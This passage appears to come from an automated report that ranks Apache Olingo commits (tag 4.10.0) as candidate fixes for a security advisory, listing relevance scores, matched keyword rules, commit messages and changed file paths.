      An advisory keyword is contained in the changed files: asyncrequestwrapperimpl, request, client
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1408
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1408] Applied code formatter
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/AsyncRequestWrapperImpl.java - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDate.java - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDateTimeOffset.java - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmTimeOfDay.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1418] Set version to next SNAPSHOT - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cb6a7ce34624b7819adca3f4918bf9713f55ec0c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server, client, read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1418
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1418] Set version to next SNAPSHOT
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dist/android-lib/pom.xml - - dist/client-lib/pom.xml - - dist/javadoc/pom.xml - - dist/pom.xml - - dist/server-lib-ext/pom.xml - - dist/server-lib/pom.xml - - ext/client-android/pom.xml - - ext/client-proxy/pom.xml - - ext/karaf/karaf-features/pom.xml - - ext/karaf/karaf-fit/pom.xml - - ext/karaf/pom.xml - - ext/pojogen-maven-plugin/pom.xml - - ext/pom.xml - - fit/pom.xml - - lib/client-api/pom.xml - - lib/client-core/pom.xml - - lib/commons-api/pom.xml - - lib/commons-core/pom.xml - - lib/pom.xml - - lib/server-api/pom.xml - - lib/server-core-ext/pom.xml - - lib/server-core/pom.xml - - lib/server-tecsvc/pom.xml - - lib/server-test/pom.xml - - pom.xml - - samples/client/pom.xml - - samples/osgi/server/pom.xml - - samples/pom.xml - - samples/server/pom.xml - - samples/tutorials/p0_all/pom.xml - - samples/tutorials/p10_media/pom.xml - - samples/tutorials/p11_batch/pom.xml - - samples/tutorials/p12_deep_insert/pom.xml - - samples/tutorials/p12_deep_insert_preparation/pom.xml - - samples/tutorials/p1_read/pom.xml - - samples/tutorials/p2_readep/pom.xml - - samples/tutorials/p3_write/pom.xml - - samples/tutorials/p4_navigation/pom.xml - - samples/tutorials/p5_queryoptions-tcs/pom.xml - - samples/tutorials/p6_queryoptions-es/pom.xml - - samples/tutorials/p7_queryoptions-o/pom.xml - - samples/tutorials/p8_queryoptions-f/pom.xml - - samples/tutorials/p9_action/pom.xml - - samples/tutorials/p9_action_preparation/pom.xml - - samples/tutorials/pe_streaming/pom.xml - - samples/tutorials/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1418] Set version to 4.7.1 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dd944cd1816c587ebda87d46b7854a7c5759e916 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server, client, read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1418
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1418] Set version to 4.7.1
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dist/android-lib/pom.xml - - dist/client-lib/pom.xml - - dist/javadoc/pom.xml - - dist/pom.xml - - dist/server-lib-ext/pom.xml - - dist/server-lib/pom.xml - - ext/client-android/pom.xml - - ext/client-proxy/pom.xml - - ext/karaf/karaf-features/pom.xml - - ext/karaf/karaf-fit/pom.xml - - ext/karaf/pom.xml - - ext/pojogen-maven-plugin/pom.xml - - ext/pom.xml - - fit/pom.xml - - lib/client-api/pom.xml - - lib/client-core/pom.xml - - lib/commons-api/pom.xml - - lib/commons-core/pom.xml - - lib/pom.xml - - lib/server-api/pom.xml - - lib/server-core-ext/pom.xml - - lib/server-core/pom.xml - - lib/server-tecsvc/pom.xml - - lib/server-test/pom.xml - - pom.xml - - samples/client/pom.xml - - samples/osgi/server/pom.xml - - samples/pom.xml - - samples/server/pom.xml - - samples/tutorials/p0_all/pom.xml - - samples/tutorials/p10_media/pom.xml - - samples/tutorials/p11_batch/pom.xml - - samples/tutorials/p12_deep_insert/pom.xml - - samples/tutorials/p12_deep_insert_preparation/pom.xml - - samples/tutorials/p1_read/pom.xml - - samples/tutorials/p2_readep/pom.xml - - samples/tutorials/p3_write/pom.xml - - samples/tutorials/p4_navigation/pom.xml - - samples/tutorials/p5_queryoptions-tcs/pom.xml - - samples/tutorials/p6_queryoptions-es/pom.xml - - samples/tutorials/p7_queryoptions-o/pom.xml - - samples/tutorials/p8_queryoptions-f/pom.xml - - samples/tutorials/p9_action/pom.xml - - samples/tutorials/p9_action_preparation/pom.xml - - samples/tutorials/pe_streaming/pom.xml - - samples/tutorials/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1418] Set version to 4.7.1-RC01 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 53e98faf348084c77b8f8b9ff2afde1c11f91a2b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server, client, read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1418
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1418] Set version to 4.7.1-RC01
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dist/android-lib/pom.xml - - dist/client-lib/pom.xml - - dist/javadoc/pom.xml - - dist/pom.xml - - dist/server-lib-ext/pom.xml - - dist/server-lib/pom.xml - - ext/client-android/pom.xml - - ext/client-proxy/pom.xml - - ext/karaf/karaf-features/pom.xml - - ext/karaf/karaf-fit/pom.xml - - ext/karaf/pom.xml - - ext/pojogen-maven-plugin/pom.xml - - ext/pom.xml - - fit/pom.xml - - lib/client-api/pom.xml - - lib/client-core/pom.xml - - lib/commons-api/pom.xml - - lib/commons-core/pom.xml - - lib/pom.xml - - lib/server-api/pom.xml - - lib/server-core-ext/pom.xml - - lib/server-core/pom.xml - - lib/server-tecsvc/pom.xml - - lib/server-test/pom.xml - - pom.xml - - samples/client/pom.xml - - samples/osgi/server/pom.xml - - samples/pom.xml - - samples/server/pom.xml - - samples/tutorials/p0_all/pom.xml - - samples/tutorials/p10_media/pom.xml - - samples/tutorials/p11_batch/pom.xml - - samples/tutorials/p12_deep_insert/pom.xml - - samples/tutorials/p12_deep_insert_preparation/pom.xml - - samples/tutorials/p1_read/pom.xml - - samples/tutorials/p2_readep/pom.xml - - samples/tutorials/p3_write/pom.xml - - samples/tutorials/p4_navigation/pom.xml - - samples/tutorials/p5_queryoptions-tcs/pom.xml - - samples/tutorials/p6_queryoptions-es/pom.xml - - samples/tutorials/p7_queryoptions-o/pom.xml - - samples/tutorials/p8_queryoptions-f/pom.xml - - samples/tutorials/p9_action/pom.xml - - samples/tutorials/p9_action_preparation/pom.xml - - samples/tutorials/pe_streaming/pom.xml - - samples/tutorials/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1406] Set version to next SNAPSHOT - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 1adc394ba96495af0739ada5e50139fb3cd37ac2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server, client, read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1406
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1406] Set version to next SNAPSHOT
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dist/android-lib/pom.xml - - dist/client-lib/pom.xml - - dist/javadoc/pom.xml - - dist/pom.xml - - dist/server-lib-ext/pom.xml - - dist/server-lib/pom.xml - - ext/client-android/pom.xml - - ext/client-proxy/pom.xml - - ext/karaf/karaf-features/pom.xml - - ext/karaf/karaf-fit/pom.xml - - ext/karaf/pom.xml - - ext/pojogen-maven-plugin/pom.xml - - ext/pom.xml - - fit/pom.xml - - lib/client-api/pom.xml - - lib/client-core/pom.xml - - lib/commons-api/pom.xml - - lib/commons-core/pom.xml - - lib/pom.xml - - lib/server-api/pom.xml - - lib/server-core-ext/pom.xml - - lib/server-core/pom.xml - - lib/server-tecsvc/pom.xml - - lib/server-test/pom.xml - - pom.xml - - samples/client/pom.xml - - samples/osgi/server/pom.xml - - samples/pom.xml - - samples/server/pom.xml - - samples/tutorials/p0_all/pom.xml - - samples/tutorials/p10_media/pom.xml - - samples/tutorials/p11_batch/pom.xml - - samples/tutorials/p12_deep_insert/pom.xml - - samples/tutorials/p12_deep_insert_preparation/pom.xml - - samples/tutorials/p1_read/pom.xml - - samples/tutorials/p2_readep/pom.xml - - samples/tutorials/p3_write/pom.xml - - samples/tutorials/p4_navigation/pom.xml - - samples/tutorials/p5_queryoptions-tcs/pom.xml - - samples/tutorials/p6_queryoptions-es/pom.xml - - samples/tutorials/p7_queryoptions-o/pom.xml - - samples/tutorials/p8_queryoptions-f/pom.xml - - samples/tutorials/p9_action/pom.xml - - samples/tutorials/p9_action_preparation/pom.xml - - samples/tutorials/pe_streaming/pom.xml - - samples/tutorials/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1406] Set version to 4.7.0 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 531e5bb8eed80ec9459bff25002dd4f29a50683d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server, client, read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1406
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1406] Set version to 4.7.0
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dist/android-lib/pom.xml - - dist/client-lib/pom.xml - - dist/javadoc/pom.xml - - dist/pom.xml - - dist/server-lib-ext/pom.xml - - dist/server-lib/pom.xml - - ext/client-android/pom.xml - - ext/client-proxy/pom.xml - - ext/karaf/karaf-features/pom.xml - - ext/karaf/karaf-fit/pom.xml - - ext/karaf/pom.xml - - ext/pojogen-maven-plugin/pom.xml - - ext/pom.xml - - fit/pom.xml - - lib/client-api/pom.xml - - lib/client-core/pom.xml - - lib/commons-api/pom.xml - - lib/commons-core/pom.xml - - lib/pom.xml - - lib/server-api/pom.xml - - lib/server-core-ext/pom.xml - - lib/server-core/pom.xml - - lib/server-tecsvc/pom.xml - - lib/server-test/pom.xml - - pom.xml - - samples/client/pom.xml - - samples/osgi/server/pom.xml - - samples/pom.xml - - samples/server/pom.xml - - samples/tutorials/p0_all/pom.xml - - samples/tutorials/p10_media/pom.xml - - samples/tutorials/p11_batch/pom.xml - - samples/tutorials/p12_deep_insert/pom.xml - - samples/tutorials/p12_deep_insert_preparation/pom.xml - - samples/tutorials/p1_read/pom.xml - - samples/tutorials/p2_readep/pom.xml - - samples/tutorials/p3_write/pom.xml - - samples/tutorials/p4_navigation/pom.xml - - samples/tutorials/p5_queryoptions-tcs/pom.xml - - samples/tutorials/p6_queryoptions-es/pom.xml - - samples/tutorials/p7_queryoptions-o/pom.xml - - samples/tutorials/p8_queryoptions-f/pom.xml - - samples/tutorials/p9_action/pom.xml - - samples/tutorials/p9_action_preparation/pom.xml - - samples/tutorials/pe_streaming/pom.xml - - samples/tutorials/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1406] Set version to 4.7.0-RC01 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3254ebdbd6a3709a0397308574ab99f3d92993a2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server, client, read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1406
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1406] Set version to 4.7.0-RC01
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - dist/android-lib/pom.xml - - dist/client-lib/pom.xml - - dist/javadoc/pom.xml - - dist/pom.xml - - dist/server-lib-ext/pom.xml - - dist/server-lib/pom.xml - - ext/client-android/pom.xml - - ext/client-proxy/pom.xml - - ext/karaf/karaf-features/pom.xml - - ext/karaf/karaf-fit/pom.xml - - ext/karaf/pom.xml - - ext/pojogen-maven-plugin/pom.xml - - ext/pom.xml - - fit/pom.xml - - lib/client-api/pom.xml - - lib/client-core/pom.xml - - lib/commons-api/pom.xml - - lib/commons-core/pom.xml - - lib/pom.xml - - lib/server-api/pom.xml - - lib/server-core-ext/pom.xml - - lib/server-core/pom.xml - - lib/server-tecsvc/pom.xml - - lib/server-test/pom.xml - - pom.xml - - samples/client/pom.xml - - samples/osgi/server/pom.xml - - samples/pom.xml - - samples/server/pom.xml - - samples/tutorials/p0_all/pom.xml - - samples/tutorials/p10_media/pom.xml - - samples/tutorials/p11_batch/pom.xml - - samples/tutorials/p12_deep_insert/pom.xml - - samples/tutorials/p12_deep_insert_preparation/pom.xml - - samples/tutorials/p1_read/pom.xml - - samples/tutorials/p2_readep/pom.xml - - samples/tutorials/p3_write/pom.xml - - samples/tutorials/p4_navigation/pom.xml - - samples/tutorials/p5_queryoptions-tcs/pom.xml - - samples/tutorials/p6_queryoptions-es/pom.xml - - samples/tutorials/p7_queryoptions-o/pom.xml - - samples/tutorials/p8_queryoptions-f/pom.xml - - samples/tutorials/p9_action/pom.xml - - samples/tutorials/p9_action_preparation/pom.xml - - samples/tutorials/pe_streaming/pom.xml - - samples/tutorials/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - OLINGO-999 | Ensuring that payloadManager is closing... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cb50f9b769f87ab83549ce20fdc7cf9560b1b732 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: client
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: request, client
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-999
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      OLINGO-999 | Ensuring that payloadManager is closing PipedInputStream in case that http client leaked that. Signed-off-by: Bogdan Ilies <bogdan.ilies@mulesoft.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/client-core/src/main/java/org/apache/olingo/client/core/communication/request/streamed/AbstractODataStreamedRequest.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1410] Better XMLMetadata parsing * [OLINGO-1410] Better... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db50f59689155d8055e268863689771c3536d0e0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: class, allow
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: client
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1410
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1410] Better XMLMetadata parsing * [OLINGO-1410] Better XMLMetadata parsing * Minor change in DEFAULT_ALLOWED_CLASSES handling * Applied code-formatter
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ext/client-proxy/src/main/java/org/apache/olingo/ext/proxy/AbstractService.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1409] Better XML parsing - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c3f982db3d97e395d313ae8f231202bb2139882c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The bug tracking ticket OLINGO-1409 contains some security-related terms: secure
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: read, client, server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1409
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1409] Better XML parsing
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - fit/src/main/java/org/apache/olingo/fit/metadata/Metadata.java - - fit/src/main/java/org/apache/olingo/fit/utils/XMLEventReaderWrapper.java - - fit/src/main/java/org/apache/olingo/fit/utils/XMLUtilities.java - - lib/client-core/src/main/java/org/apache/olingo/client/core/serialization/AtomDeserializer.java - - lib/server-core-ext/src/main/java/org/apache/olingo/server/core/MetadataParser.java - - lib/server-core/src/main/java/org/apache/olingo/server/core/deserializer/xml/ODataXmlDeserializer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1409] XML serializer defaults - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - SEC_KEYWORDS_IN_LINKED_BUG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5948974ad28271818e2afe747c71cde56a7f2c63 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The bug tracking ticket OLINGO-1409 contains some security-related terms: secure
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1409
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1409] XML serializer defaults
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/server-core-ext/src/main/java/org/apache/olingo/server/core/MetadataParser.java - - lib/server-core/src/main/java/org/apache/olingo/server/core/deserializer/xml/ODataXmlDeserializer.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1406] added some toString() methods (#26) General and minor... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2df6c1779974ea5dbd8515caed17d404152c4b29 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1406
      -
    • - -
    • -
      The commit message references some github issue: 26
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1406] added some toString() methods (#26) General and minor improvement during release
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/commons-api/src/main/java/org/apache/olingo/commons/api/data/EntityCollection.java - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/AbstractEdmNamed.java - - lib/server-core/src/main/java/org/apache/olingo/server/core/uri/UriParameterImpl.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #55 from danielfernandez/olingo-1395... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a110e092033943ab1d1b55bbe737f5890ba55ab6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: request
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1395
      -
    • - -
    • -
      The commit message references some github issue: 55
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #55 from danielfernandez/olingo-1395 [OLINGO-1395] Fixed parsing error when ReturnType contains Annotation
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #28 from ninckblokje/master [OLINGO-1114] Test +... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 820b462f4957ee1e547f21de712c394c5eb159b9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: request
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1114
      -
    • - -
    • -
      The commit message references some github issue: 28
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #28 from ninckblokje/master [OLINGO-1114] Test + fix for NULL value type
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #62 from apache/OLINGO-1408 [Olingo 1408] Java 8... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ca876f1fb99b224369fb27056d462e22cec8700d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: request
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1408
      -
    • - -
    • -
      The commit message references some github issue: 62
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #62 from apache/OLINGO-1408 [Olingo 1408] Java 8 DateTime API support by Olingo
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1408] Support new date time API (#57) * Fix usage of... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 932af8fb5d68efe67fb6040dc697852173435437 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: make, call, read, version, implement, allow
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1408
      -
    • - -
    • -
      The commit message references some github issue: 57
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1408] Support new date time API (#57) * Fix usage of Calendar in tests The tests use Calendar instances. For some test cases the time zone of a Calendar instance is changed and then passed to the valueToString method. Unfortunately after just changing the time zone the Calendar only changes the time zone but not the value of the calculated fields like YEAR, MONTH, ... . These fields are recalculated only if they are read by get(YEAR), get(MONTH), ... . The implementation of valueToString clones the Calendar instance before fields are computed resulting in a corrupt clone. This change 1) makes sure that the test the fields in the Calendar instances used in the tests are computed 2) makes sure that the valueToString method triggers a computation of the fields before cloning the Calendar * Support types of new Date/Time API The types of the new Date/Time API can now be used as property values. The following mappings are now supported EdmDateTimeOffset - java.time.Instant - java.time.ZonedDateTime - java.util.Calendar - java.util.Date - java.sql.Timestamp - java.lang.Long EdmDate - java.time.LocalDate - java.sql.Date EdmTimeOfDay - java.time.LocalTime - java.sql.Time Only these mappings capture the semantics correctly. For legacy reasons also supported are the following mappings are still supported: EdmDate - java.util.Calendar (date component in the TZ of the calendar) - java.util.Date (date component in UTC) - java.sql.Timestamp (date component in UTC) - java.lang.Long (date component in UTC) EdmTimeOfDay - java.util.Calendar (time component in the TZ of the calendar) - java.util.Date (time component in UTC) - java.sql.Timestamp (time component in UTC) - java.lang.Long (time component in UTC) For legacy reasons the default mapping types are unchanged (and remain semantically incorrect): EdmDateTimeOffset -> java.sql.Timestamp EdmDate -> java.util.Calendar EdmTimeOfDay -> java.util.Calendar * Allow additional (but semantically wrong) conversions EdmDate -> java.util.Date, java.sql.Timestamp EdmTimeOfDay -> java.util.Date, java.sql.Timestamp
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDate.java - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmDateTimeOffset.java - - lib/commons-core/src/main/java/org/apache/olingo/commons/core/edm/primitivetype/EdmTimeOfDay.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #56 from ianwallen/OLINGO-1400 [OLINGO-1400]... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 43010c72e3715118368d069d5492358a93b578f1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: request, provide, call
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1400
      -
    • - -
    • -
      The commit message references some github issue: 56
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #56 from ianwallen/OLINGO-1400 [OLINGO-1400] Remove duplicate call to provider.getEntityContainer() in EdmProviderImpl.createEntityContainer
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [OLINGO-1421]Handling incorrect message in UriHelperImpl - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: 4.10.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a1dfb5596b4266f30ae503d3d3e116f269561640 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: resource, server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: OLINGO-1421
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [OLINGO-1421]Handling incorrect message in UriHelperImpl
      -
    • -
    - -
    Changed files in commit
    - -
      -
